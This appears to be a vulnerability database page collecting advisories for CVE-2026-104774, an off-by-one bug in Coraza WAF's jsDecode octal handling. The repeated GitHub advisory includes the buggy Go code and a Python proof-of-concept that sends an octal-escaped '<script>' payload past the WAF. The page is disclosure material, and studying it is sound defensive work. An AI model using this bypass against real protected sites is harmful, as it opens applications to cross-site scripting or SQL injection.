CVE-2026-104774
OWASP Coraza WAF: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.8
OWASP Coraza WAF: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.
- Record
CVE-2026-104774- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N - Weakness
- CWE-172, CWE-193, CWE-693
- Updated
- 2026-11-02
EUVDEUVD-2026-97825
5.8
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.
- Record
EUVD-2026-97825- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-pc5q-qfxp-ggqv
5.8
Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass
Summary
The t:jsDecode transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing strconv.ParseInt to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on jsDecode for normalization are enabled.
Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (\ooo) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.
Details
Vulnerable code: internal/transformations/js_decode.go:64-70.
case (i+1 < inputLen) && isodigit(input[i+1]):
/* \OOO (only one byte, \000 - \377) */
buf := make([]byte, 3)
j := 0
for (i+1+j < inputLen) && (j < 3) {
buf[j] = input[i+j] // this should be `input[i+1+j]`
j++
if !isodigit(input[i+j]) {
break
}
}
This is because, when entering octal mode, the loop variable i points to the backslash character \. Before entering octal mode, the pointer does not cross the backslash (unlike in the \u and \x cases, where i+N is used as the index). Line 65 uses input[i+j], so when j=0, the backslash character itself is copied to buf[0]. The subsequent call to strconv.ParseInt(string(buf), 8, 8) will fail because \ is not a valid octal digit; it therefore returns 0 and raises an error (which is silently suppressed by _), resulting in the loss of the bytes that were supposed to be decoded.
For example, Input \163. The loop starts with j=0: buf[0] = input[i+0] = ‘\’ (the backslash itself). The counter j is incremented to 1. Since isodigit(input[i+1]) = isodigit(‘1’) is true, the loop continues. When j=1: buf[1] = input[i+1] = ‘1’. The counter increments to 2; isodigit(input[i+2]) = isodigit(‘6’) is true. At this point, j = 2: buf[2] = input[i+2] = ‘6’. The counter increments to 3, at which point the loop condition j < 3 is no longer satisfied. Final buffer: buf = [‘\’, ‘1’, ‘6’]. The buffer is truncated when j = 2 (because buf[0] = ‘\’ > ‘3’), leaving [‘\’, ‘1’].
This error affects all octal escape sequences (from \000 to \377). Each sequence is decoded and displayed as 0x00 instead of the expected value. For example: \377 is normally decoded as \xff or 255
// Bug: buf = ['\', '3', '7'] to string(buf) = "\\37"
nn, _ = strconv.ParseInt("\\37", 8, 8) // nn = 0
// Correct: buf = ['3', '7', '7'] = "377"
nn, _ = strconv.ParseInt("377", 8, 8) // nn = 255 = 0xFF
PoC
Test Environment
Coraza WAF v3.7.0 is configured to 127.0.0.1:8090, SecRuleEngine is set to On, SecRequestBodyAccess is set to On, and the complete OWASP CRS rule set has been loaded.
PoC Executable Script
#!/usr/bin/env python3
import urllib.request, sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090"
normal_url = f"{TARGET}/?q=%3Cscript%3E"
octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E"
print(f"[Normal XSS: {normal_url}")
try:
urllib.request.urlopen(normal_url)
print(" Response: 200 ")
except urllib.error.HTTPError as e:
print(f" Response: {e.code}")
print(f"\nBypass JS octal-escaped XSS: {octal_url}")
try:
urllib.request.urlopen(octal_url)
print(" Response: 200 (BYPASS)")
except urllib.error.HTTPError as e:
print(f" Response: {e.code}")
output:
Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E
Response: 403
Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E
Response: 200 (BYPASS)
Proof
- Normal…
- Record
GHSA-pc5q-qfxp-ggqv- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N - Weakness
- CWE-172, CWE-193, CWE-693
- Updated
- 2026-11-02
NVD
5.8
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.
- Record
CVE-2026-104774- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N - Weakness
- CWE-172, CWE-193, CWE-693
- Updated
- 2026-11-02
OSV
5.8
OWASP Coraza WAF: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.
- Record
CVE-2026-104774- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N - Weakness
- CWE-172, CWE-193, CWE-693
- Updated
- 2026-11-02
OSVGHSA-pc5q-qfxp-ggqv
5.8
Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass
Summary
The t:jsDecode transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing strconv.ParseInt to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on jsDecode for normalization are enabled.
Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (\ooo) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.
Details
Vulnerable code: internal/transformations/js_decode.go:64-70.
case (i+1 < inputLen) && isodigit(input[i+1]):
/* \OOO (only one byte, \000 - \377) */
buf := make([]byte, 3)
j := 0
for (i+1+j < inputLen) && (j < 3) {
buf[j] = input[i+j] // this should be `input[i+1+j]`
j++
if !isodigit(input[i+j]) {
break
}
}
This is because, when entering octal mode, the loop variable i points to the backslash character \. Before entering octal mode, the pointer does not cross the backslash (unlike in the \u and \x cases, where i+N is used as the index). Line 65 uses input[i+j], so when j=0, the backslash character itself is copied to buf[0]. The subsequent call to strconv.ParseInt(string(buf), 8, 8) will fail because \ is not a valid octal digit; it therefore returns 0 and raises an error (which is silently suppressed by _), resulting in the loss of the bytes that were supposed to be decoded.
For example, Input \163. The loop starts with j=0: buf[0] = input[i+0] = ‘\’ (the backslash itself). The counter j is incremented to 1. Since isodigit(input[i+1]) = isodigit(‘1’) is true, the loop continues. When j=1: buf[1] = input[i+1] = ‘1’. The counter increments to 2; isodigit(input[i+2]) = isodigit(‘6’) is true. At this point, j = 2: buf[2] = input[i+2] = ‘6’. The counter increments to 3, at which point the loop condition j < 3 is no longer satisfied. Final buffer: buf = [‘\’, ‘1’, ‘6’]. The buffer is truncated when j = 2 (because buf[0] = ‘\’ > ‘3’), leaving [‘\’, ‘1’].
This error affects all octal escape sequences (from \000 to \377). Each sequence is decoded and displayed as 0x00 instead of the expected value. For example: \377 is normally decoded as \xff or 255
// Bug: buf = ['\', '3', '7'] to string(buf) = "\\37"
nn, _ = strconv.ParseInt("\\37", 8, 8) // nn = 0
// Correct: buf = ['3', '7', '7'] = "377"
nn, _ = strconv.ParseInt("377", 8, 8) // nn = 255 = 0xFF
PoC
Test Environment
Coraza WAF v3.7.0 is configured to 127.0.0.1:8090, SecRuleEngine is set to On, SecRequestBodyAccess is set to On, and the complete OWASP CRS rule set has been loaded.
PoC Executable Script
#!/usr/bin/env python3
import urllib.request, sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090"
normal_url = f"{TARGET}/?q=%3Cscript%3E"
octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E"
print(f"[Normal XSS: {normal_url}")
try:
urllib.request.urlopen(normal_url)
print(" Response: 200 ")
except urllib.error.HTTPError as e:
print(f" Response: {e.code}")
print(f"\nBypass JS octal-escaped XSS: {octal_url}")
try:
urllib.request.urlopen(octal_url)
print(" Response: 200 (BYPASS)")
except urllib.error.HTTPError as e:
print(f" Response: {e.code}")
output:
Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E
Response: 403
Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E
Response: 200 (BYPASS)
Proof
- Normal…
- Record
GHSA-pc5q-qfxp-ggqv- CVSS 3.1
- 5.8 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N - Weakness
- CWE-172, CWE-193, CWE-693
- Updated
- 2026-11-02
OSVGO-2026-6696 No score
Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass in github.com/corazawaf/coraza
Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass in github.com/corazawaf/coraza
- Record
GO-2026-6696- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/corazawaf/coraza/v3Go |
3.0.0 up to 3.8.0 | 3.8.0 |
github.com/corazawaf/corazaGo |
All versions | None known |
github.com/corazawaf/coraza/v2Go |
All versions | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-104774 is a medium vulnerability (CVSS 5.8) in Corazawaf Coraza, published October 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.32%, the 25th percentile. Fixed in github.com/corazawaf/coraza/v3 3.8.0.
References
github.com/corazawaf/coraza/security/advisories/GHSA-pc5q-qfxp-ggqv
github.com/corazawaf/coraza/commit/f9b7afdbcedce7ad814663eaee2e342578ea3bb2
github.com/corazawaf/coraza/releases/tag/v3.8.0
github.com/advisories/GHSA-pc5q-qfxp-ggqv
github.com/CVEProject/cvelistV5/tree/main/cves/2026/104xxx/CVE-2026-104774.json
nvd.nist.gov/vuln/detail/CVE-2026-104774
github.com/corazawaf/coraza
Left out here: the rest of 2 source descriptions. The JSON record has them.